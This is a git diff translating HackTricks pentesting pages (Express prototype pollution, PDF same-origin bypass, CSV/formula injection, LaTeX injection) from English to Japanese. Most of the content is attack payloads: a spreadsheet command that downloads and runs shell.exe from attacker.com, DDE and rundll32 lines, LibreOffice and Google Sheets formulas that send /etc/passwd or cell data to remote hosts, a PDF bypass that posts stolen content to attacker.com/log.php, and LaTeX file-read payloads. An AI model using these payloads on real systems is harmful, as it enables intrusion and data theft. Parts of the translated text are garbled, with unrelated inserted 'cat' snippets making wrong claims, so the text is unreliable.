[https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746) * [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP) @@ -92,10 +90,10 @@ Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challe ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md index ecb25ced3..6b884fbf7 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md @@ -1,77 +1,64 @@ -# Express Prototype Pollution Gadgets +# Express プロトタイプ汚染ガジェット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Serve XSS responses +## XSSレスポンスを提供する -### Change JSON content-type to HTML - -In an Express app using a **JSON content type response** and reflecting a JSON: +### JSONのコンテンツタイプをHTMLに変更する +**JSONコンテンツタイプのレスポンス**を使用し、JSONを反映しているExpressアプリで、以下のように変更します: ```javascript app.use(bodyParser.json({type: 'application/json'})); app.post('/', function(req, res){ - _.merge({}, req.body); - res.send(req.body); +_.merge({}, req.body); +res.send(req.body); }); ``` - -In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can **confuse Express to serve up an HTML response.** This vulnerability relies on the application using **`res.send(obj)`** and using the body parser with the application/json content type. - +これらの場合、JSONコンテンツタイプでは通常XSSは起こりません。しかし、プロトタイプ汚染を利用することで、**ExpressがHTMLレスポンスを提供するように混乱させることができます。** この脆弱性は、アプリケーションが**`res.send(obj)`**を使用し、application/jsonコンテンツタイプでボディパーサーを使用していることに依存しています。 ```json {"__proto__":{"_body":true,"body":" - - - + + + + + + + + endstream endobj trailer << - /Root << - /AcroForm << - /Fields [<< - /T (0) - /Kids [<< - /Subtype /Widget - /Rect [] - /T () - /FT /Btn - >>] - >>] - /XFA 1 0 R - >> - /Pages <<>> - >> +/Root << +/AcroForm << +/Fields [<< +/T (0) +/Kids [<< +/Subtype /Widget +/Rect [] +/T () +/FT /Btn +>>] +>>] +/XFA 1 0 R +>> +/Pages <<>> +>> >> ``` +これらの関数を見つけた後、同一生成元ポリシーのバイパスを見つけました。これにより、被害者のブラウザをプロキシとして使用することが可能になります(@beefはまだモジュールを作業中です^^)。 -\ -After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser\ -as a proxy (@beef still working on the module^^)\ -\ -The bypass is really simple:\ -\ -1\. User A loads evil.pdf from http://attacker.com/evil.pdf\ -2\. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php\ -3\. redirect.php redirects with 301 to http://facebook.com\ -4\. Adobe reader will follow and read the response without looking for a crossdomain.xml.\ -5\. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php +バイパスは非常にシンプルです: -Note that using this technique you can steal the CRSF tokens of a page and abuse CSRF vulns. +1. ユーザーAはhttp://attacker.com/evil.pdfからevil.pdfを読み込みます。 +2. Evil.pdfはformcalc GETを使用してhttp://attacker.com/redirect.phpを読み込みます。 +3. redirect.phpは301でhttp://facebook.comにリダイレクトします。 +4. Adobe Readerはこれに従い、crossdomain.xmlを探さずにレスポンスを読み込みます。 +5. evil.pdfはPOST経由で取得したコンテンツをhttp://attacker.com/log.phpに送信します。 -This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too. +このテクニックを使用すると、ページのCSRFトークンを盗むことができ、CSRFの脆弱性を悪用することができます。 + +このシンプルなバイパスは修正されました。同一生成元リクエストに対するダイアログ警告を実装してほしいと思います。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/pentesting-web/formula-doc-latex-injection.md b/pentesting-web/formula-doc-latex-injection.md index 615aec5cb..c276ed38e 100644 --- a/pentesting-web/formula-doc-latex-injection.md +++ b/pentesting-web/formula-doc-latex-injection.md @@ -1,29 +1,28 @@ -# Formula/CSV/Doc/LaTeX Injection +# フォーミュラ/CSV/ドキュメント/LaTeXインジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Formula Injection +## フォーミュラインジェクション -### Info +### 情報 -If your **input** is being **reflected** inside **CSV file**s (or any other file that is probably going to be opened by **Excel**), you maybe able to put Excel **formulas** that will be **executed** when the user **opens the file** or when the user **clicks on some link** inside the excel sheet. +もし、**入力**が**CSVファイル**(または他のExcelで開かれる可能性のあるファイル)に**反映**されている場合、Excelシート内でユーザーが**ファイルを開いたり、リンクをクリックしたり**するときに実行されるExcelの**数式**を入れることができるかもしれません。 {% hint style="danger" %} -Nowadays **Excel will alert** (several times) the **user when something is loaded from outside the Excel** in order to prevent him to from malicious action. Therefore, special effort on Social Engineering must be applied to he final payload. +現在、**Excelは外部からの読み込み時にユーザーに警告**を表示します(数回)。これは、悪意のある行動を防ぐためです。そのため、最終的なペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 {% endhint %} -### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) - +### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 @@ -32,119 +31,101 @@ DDE ("cmd";"/C calc";"!A0")A0 =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` +### ハイパーリンク -### Hyperlink +**次の例は、最終的なExcelシートからコンテンツを外部に持ち出し、任意の場所にリクエストを実行するのに非常に便利です。ただし、リンクをクリックする(および警告プロンプトを受け入れる)必要があります。** -**The following example is very useful to exfiltrate content from the final excel sheet and to perform requests to arbitrary locations. But it requires the use to click on the link (and accept the warning prompts).** +例は[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)から取得されました。 -Example taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) - -Let us assume an attack scenario of Student Record Management system of a school. The application allows teacher to enter details of students in the school. The attacker get access to the application and want that all the teacher using the application to get compromised. So the attacker tries to perform CSV injection attack through the web application.\ -The attacker need to steal other student’s details. So the attacker uses the Hyperlink formula ad enter it while entering student details. +学校の学生記録管理システムの攻撃シナリオを想定しましょう。このアプリケーションでは、教師が学校の生徒の詳細を入力することができます。攻撃者はアプリケーションにアクセスし、アプリケーションを使用しているすべての教師が侵害されることを望んでいます。そのため、攻撃者はWebアプリケーションを介してCSVインジェクション攻撃を試みます。\ +攻撃者は他の学生の詳細を盗む必要があります。そのため、攻撃者は学生の詳細を入力する際にハイパーリンクの式を使用します。 ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png) -When the teacher export the CSV and click on the hyperlink then the sensitive data is sent to the attacker’s server. +教師がCSVをエクスポートし、ハイパーリンクをクリックすると、機密データが攻撃者のサーバーに送信されます。 ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png) -CSV file exported contains malicious payload in it. +エクスポートされたCSVファイルには、悪意のあるペイロードが含まれています。 ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png) -The details of student in logged in the attackers web server. +攻撃者のWebサーバーには、学生の詳細がログインしています。 ![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png) ### RCE -For this example to work it's **needed to have enable the following configuration**:\ -File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch\ -or the use of an **old Excel version**. +この例が動作するには、次の設定を有効にする必要があります:\ +ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツ → ダイナミックデータ交換サーバーランチを有効にする\ +または、**古いバージョンのExcel**を使用します。 -The good news is that **this payload is executed automatically when the file is opened** (f the user accepts the warnings). +良いニュースは、**このペイロードはファイルが開かれると自動的に実行される**ことです(ユーザーが警告を受け入れる場合)。 -It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`** - -![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>) - -### More +次のペイロードで電卓を実行することが可能です **`=cmd|' /C calc'!xxx`** +![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` - ### LFI **LibreOffice Calc** -* This will read the 1st line from the local /etc/passwd file: `='file:///etc/passwd'#$passwd.A1` -* Ex-filtrate it: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` -* Ex-filtrate more than one line: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` -* DNS Exfiltration: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` +* ローカルの/etc/passwdファイルから1行目を読み取ります:`='file:///etc/passwd'#$passwd.A1` +* エクスフィルトします:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` +* 複数の行をエクスフィルトします:`=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` +* DNSエクスフィルト:`=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` -**Analyzing the DNS ex-filtration payload:** +**DNSエクスフィルトペイロードの解析:** -* ‘file:///etc/passwd’#$passwd.A19 – Will read the 19th line from the local /etc/passwd file -* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – URL encode the returned data -* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar to substring, read data from 1st character to 41st – a very handy way to restrict the length of DNS hostnames (254 character limit on FQDN and 63 characters for a label, i.e. subdomain) -* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – replace all instances of % (the special character from URL encoding) with dash – this is ensure that only valid DNS characters are used -* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\”) – Concatenate the output from the file (after the above processing has taken place) with the FQDN (for which we have access to the host that is authoritative for the domain) -* WEBSERVICE – Will make a request for this non-existent DNS name which we can then parse the logs (or run tcpdump etc.) on the DNS authoritative name server for which we have control +* ‘file:///etc/passwd’#$passwd.A19 – ローカルの/etc/passwdファイルから19行目を読み取ります +* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 返されたデータをURLエンコードします +* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – サブストリングに似ていますが、1文字目から41文字目までのデータを読み取ります。これはDNSホスト名の長さを制限する非常に便利な方法です(FQDNの最大文字数は254文字で、ラベル(サブドメイン)の最大文字数は63文字です) +* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – %(URLエンコードの特殊文字)のすべてのインスタンスをダッシュに置き換えます。これにより、有効なDNS文字のみが使用されることが保証されます +* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\”) – ファイルからの出力(上記の処理が行われた後)をFQDN(ドメインの権威を持つホストにアクセスできる)と連結します +* WEBSERVICE – この存在しないDNS名に対してリクエストを行い、その後、制御を持つDNS権威名サーバーのログ(またはtcpdumpなど)を解析できます -### Google Sheets OOB Data Exfiltration +### Google Sheets OOBデータエクスフィルト -Firstly, let’s introduce some of the more interesting functions. - -**CONCATENATE**: Appends strings to one another. +まず、いくつかの興味深い関数を紹介しましょう。 +**CONCATENATE**: 文字列を連結します。 ``` =CONCATENATE(A2:E2) ``` - -**IMPORTXML**: Imports data from various structured data types including XML, HTML, CSV, TSV, and RSS and ATOM XML feeds. - +**IMPORTXML**: XML、HTML、CSV、TSV、RSS、ATOM XMLフィードなど、さまざまな構造化データタイプからデータをインポートします。 ``` =IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10") ``` - -**IMPORTFEED**: Imports a RSS or ATOM feed. - +**IMPORTFEED**: RSSまたはATOMフィードをインポートします。 ``` =IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2))) ``` - -**IMPORTHTML**: Imports data from a table or list within an HTML page. - +**IMPORTHTML**: HTMLページ内のテーブルやリストからデータをインポートします。 ``` =IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1) ``` - -**IMPORTRANGE**: Imports a range of cells from a specified spreadsheet. - +**IMPORTRANGE**: 指定されたスプレッドシートからセルの範囲をインポートします。 ``` =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2") ``` - -**IMAGE**: Inserts an image into a cell. - +**画像**: セルに画像を挿入します。 ``` =IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png") ``` +## LaTeXインジェクション -## LaTeX Injection +通常、インターネット上で見つけることができるサーバーは、LaTeXコードをPDFに変換するために**`pdflatex`**を使用します。\ +このプログラムは、コマンドの実行を(無効に)許可または拒否するために3つの主要な属性を使用します。 -Usually the servers that will find on the internet that **convert LaTeX code to PDF** use **`pdflatex`**.\ -This program uses 3 main attributes to (dis)allow command execution: +* **`--no-shell-escape`**: `\write18{command}`構文を無効にします。texmf.cnfファイルで有効になっていても無効にします。 +* **`--shell-restricted`**: `--shell-escape`と同じですが、'安全な'事前定義のコマンドのセットに**制限**されます(Ubuntu 16.04では、リストは`/usr/share/texmf/web2c/texmf.cnf`にあります)。 +* **`--shell-escape`**: `\write18{command}`構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。 -* **`--no-shell-escape`**: **Disable** the `\write18{command}` construct, even if it is enabled in the texmf.cnf file. -* **`--shell-restricted`**: Same as `--shell-escape`, but **limited** to a 'safe' set of **predefined** \*\*commands (\*\*On Ubuntu 16.04 the list is in `/usr/share/texmf/web2c/texmf.cnf`). -* **`--shell-escape`**: **Enable** the `\write18{command}` construct. The command can be any shell command. This construct is normally disallowed for security reasons. - -However, there are other ways to execute commands, so to avoid RCE it's very important to use `--shell-restricted`. - -### Read file +ただし、コマンドを実行する他の方法もありますので、RCEを回避するためには`--shell-restricted`を使用することが非常に重要です。 +### ファイルの読み取り ```bash \input{/etc/passwd} \include{password} # load .tex file @@ -152,9 +133,13 @@ However, there are other ways to execute commands, so to avoid RCE it's very imp \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` +#### 1行のファイルの読み取り -#### Read single lined file +```bash +$ cat /path/to/file.txt +``` +このコマンドは、指定したパスにあるファイルの内容を表示します。ファイルは1行のみである必要があります。 ```bash \newread\file \openin\file=/etc/issue @@ -162,32 +147,38 @@ However, there are other ways to execute commands, so to avoid RCE it's very imp \text{\line} \closein\file ``` +#### 複数行のファイルを読む -#### Read multiple lined file +To read a file that contains multiple lines, you can use the following command: +複数行を含むファイルを読むには、次のコマンドを使用します。 + +```bash +cat filename +``` + +This command will display the contents of the file on the terminal. + +このコマンドは、ファイルの内容をターミナルに表示します。 ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file - \read\file to\fileline - \text{\fileline} +\read\file to\fileline +\text{\fileline} \repeat \closein\file ``` - -### Write file - +### ファイルの書き込み ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile 